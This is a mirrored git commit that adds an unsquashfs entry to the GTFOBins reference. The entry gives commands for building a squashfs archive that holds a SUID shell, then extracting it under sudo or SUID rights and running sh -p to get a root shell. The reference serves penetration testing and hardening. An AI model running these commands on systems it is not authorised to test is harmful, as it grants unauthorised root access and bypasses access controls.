mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add unsquashfs
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
d48892a5cc
commit
07dca76e95
21
_gtfobins/unsquashfs.md
Normal file
21
_gtfobins/unsquashfs.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
`unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
|
||||||
|
|
||||||
|
```
|
||||||
|
cp /bin/sh .
|
||||||
|
chmod +s sh
|
||||||
|
mksquashfs sh shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo unsquashfs shell
|
||||||
|
./squashfs-root/sh -p
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
./unsquashfs shell
|
||||||
|
./squashfs-root/sh -p
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user